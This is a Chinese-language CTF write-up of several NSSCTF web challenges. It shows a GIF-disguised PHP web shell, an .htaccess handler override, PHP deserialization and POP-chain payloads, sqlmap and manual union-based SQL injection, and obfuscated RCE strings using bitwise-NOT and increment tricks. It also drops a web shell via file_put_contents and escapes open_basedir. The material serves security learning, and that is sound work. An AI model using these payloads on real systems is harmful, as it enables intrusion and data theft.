目录
easyupload1.0
easyupload2.0
easyupload3.0
no_wakeup
PseudoProtocols
error
hardrce
pop
sql
finalrce
hardrce_3
easyupload1.0
1.启动环境
2.上传一个图片木马
GIF89a
<script language='php'>eval($_POST['a']);</script>
3.蚁剑连接,但是数据为空
4.bp抓包,修改文件名为1.php
5.查看phpinfo(),ctrl+f搜索flag
easyupload2.0
1.启动环境
2.上传一个图片木马
GIF89a
<script language='php'>eval($_POST['a']);</script>
3.bp抓包,修改文件名为a.phtml,上传成功
4.使用蚁剑连接
easyupload3.0
1.先上传一个.htaccess文件,看题目提示的。。
<FilesMatch "a.png">
SetHandler application/x-httpd-php
</FilesMatch>
2.然后上传一个图片木马
3.蚁剑连接,找到flag
no_wakeup
1.启动环境
2.
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __wakeup(){
$this->passwd = sha1($this->passwd);
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>
序列化
<?php
class HaHaHa{
public $admin;
public $passwd;
}
$a = new HaHaHa();
$a->admin = "admin";
$a->passwd = "wllm";
echo serialize($a);
?>
需要绕过wakeup()函数
参考https://www.cnblogs.com/Mrsm1th/p/6835592.html
所以把成员属性数目2改成3
/?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
PseudoProtocols
1.启动环境
2.使用php伪协议filter读取hint.php文件
3.base64解密
?wllm=php://filter/read=convert.base64-encode/resource=hint.php
4.读取test2222222222222.php
?wllm=php://filter/read=convert.base64-encode/resource=test2222222222222.php
5.base64解码
6.用data协议把I want flag写入a
/test2222222222222.php/?a=data://text/plain,I want flag
error
sqlmap
sqlmap.py http://node1.anna.nssctf.cn:28186/index.php?id=1 --dbs
sqlmap.py http://node1.anna.nssctf.cn:28186/index.php?id=1 -D test_db --tables
sqlmap.py http://node1.anna.nssctf.cn:28186/index.php?id=1 -D test_db -T test_tb --columns
sqlmap.py http://node1.anna.nssctf.cn:28186/index.php?id=1 -D test_db -T test_tb -C flag --dump
hardrce
1.
参考无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_yu22x的博客-CSDN博客
过滤了很多字符,,用到取反。因为取反的话,基本上用的都是一个不可见字符,所有不会触发到正则表达式
2. 首先要传入system(ls) ~为取反符号
php在线运行。就这里要把system跟ls分开
传参 :?wllm=~(~%8C%86%8C%8B%9A%92)(~%93%8c);
3.传入system(ls /);
传参?wllm=~(~%8C%86%8C%8B%9A%92)(~%93%8c%df%d0);
4.1.cat /flllllaaaaaaggggggg
传参 ?wllm=~(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
pop
1.
2.该题目中涉及到的魔术方法有两个toString和destruct,构造pop链的关键是紧盯魔术方法,找到pop链的头部和尾部,可以看到GET方式传参w00m,也就是pop链的头部,然后就是尾部,尾部就是能够达到恶意攻击的地方,在上述的题目中:w44m类中存在着一个方法GETflag方法,便可输出最终的flag。因此这也是pop链的尾部;
__toString
__toString方法在将一个对象转化成字符串时自动调用,比如使用echo打印对象时,如果类没有实现此方法,则无法通过echo打印对象,否则会显示:Catchable fatal error: Object of class test could not be converted to string in,此方法必须返回一个字符串。 在PHP 5.2.0之前,__toString方法只有结合使用echo() 或 print()时 才能生效。PHP 5.2.0之后,则可以在任何字符串环境生效(例如通过printf(),使用%s修饰符),但 不能用于非字符串环境(如使用%d修饰符) 从PHP 5.2.0,如果将一个未定义__toString方法的对象 转换为字符串,会报出一个E_RECOVERABLE_ERROR错误。
__construct、__destruct
__construct 构造方法,当一个对象被创建时调用此方法,好处是可以使构造方法有一个独一无二的名称,无论它所在的类的名称是什么,这样你在改变类的名称时,就不需要改变构造方法的名称 __destruct 析构方法,PHP将在对象被销毁前(即从内存中清除前)调用这个方法 默认情况下,PHP仅仅释放对象属性所占用的内存并销毁对象相关的资源.,析构函数允许你在使用一个对象之后执行任意代码来清除内存,当PHP决定你的脚本不再与对象相关时,析构函数将被调用. 在一个函数的命名空间内,这会发生在函数return的时候,对于全局变量,这发生于脚本结束的时候,如果你想明确地销毁一个对象,你可以给指向该对象的变量分配任何其它值,通常将变量赋值勤为NULL或者调用unset。
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
2.首先观察一下整段代码,再结合上面总结的魔术方法分析一下,w44m
类里面的Getflag
函数可以用来读取flag,因此就将它作为这条链子的尾部。
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
需要调用这个函数。$this->w00m->{$this->w22m}();
会调用函数,所以只需要给$w00m
赋一个w44m
类,然后再给w22m
赋一个Getflag
就能成功调用该函数。
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
再考虑一下如何调用这个w33m
类呢?上面写过__toString()
这个方法会在一个对象被当作字符串时被调用,于是我们就能看到下面w22m
这个类里面的echo
函数。我们只要给w00m
赋一个w33m
类,就能调用。
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
到了这里,析构函数会在对象被销毁时调用,所以这是链子的头,链:
w22m::__destruct()->w33m::__toString()->w44m::Getflag()
3。构造一下exp(因为admin和passwd是私有类和被保护的类,所以没办法在该类的外部赋值或引用,所以要在类中提前赋值
)
<?php
class w44m{
private $admin='w44m';
protected $passwd='08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$a=new w22m;
$a->w00m=new w33m;
$a->w00m->w00m=new w44m;
$a->w00m->w22m='Getflag';
echo urlencode(serialize($a));
?>
在线运行一下8
传参
?w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
sql
用sqlmap跑一跑
sqlmap.py -u http://node1.anna.nssctf.cn:28020/?wllm=1 -D test_db -T test_tb -C flag --dump
但是上交flag错误。好无语
手注
fuzz测试,发现过滤了等号,空格
等号-->like
空格-->/**/
?wllm=1'报错
#的url编码为%23,测试长度 /?wllm=1'order/**/by/**/3%23
爆库
?wllm=-1'union/**/select/**/1,2,database()%23
爆表
?wllm=-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/informa
tion_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23
爆列
?wllm=-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/inform
ation_schema.columns/**/where/**/table_schema/**/like/**/'test_db'%23
爆内容
?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_
flag%23
发现爆出来只有20位。需要使用截断函数进行绕过,substr,right,REVERSE 被过滤(测试出来的),只能用mid
# mid截取,因为回显只能有20个,所以20,一组截取
wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),20,20)/**/from/**/tes
t_db.LTLT_flag%23
拼接一下三组,得到flag NSSCTF{dd83225c-b6fc-4c2b-8a56-2f3e81e88f52}
finalrce
1.过滤了很多,ls,cat还有一大坨符号,但是没有过滤|这个符号,这个题目需要用linux的一个命令,”tee“将想要执行的命令写入到一个文件里面,然后再去访问这个文件,以此来执行这个命令。
2.
传入 command | tee file.txt。
?url=l\s / | tee 1.txt 之后访问我们传入的文件1.txt,发现命令被执行。看见flllllaaaaaaggggggg
3.
tac是没有被过滤的。再传入 ?url=tac /flllll\aaaaaaggggggg | tee 2.txt
访问2.txt。
hardrce_3
1.
2.
与上道hard_rce相比,这道题不让使用~,|,^和空格了。
所以这个题用自增。
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
这是固定格式构造出来的 assert($_POST[_]);
然后post传入 _=phpinfo();
使用时需要url编码.
%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B%0A
3.
发现system,exec,shell_exec,popen,proc_open,passthru被禁用 .
但是可以用file_put_contents(,)
file_put_contents函数 第一个参数是文件名,第二个参数是内容。
所以 构造: _=file_put_contents("1.php","<?php eval($_POST['shell']); ?>");传入木马
然后访问/1.php,密码shell连接。
或者直接读取
_=file_put_contents('1.php',"<?php print_r(ini_get('open_basedir').'<br>'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/flag'); print(1);?> ");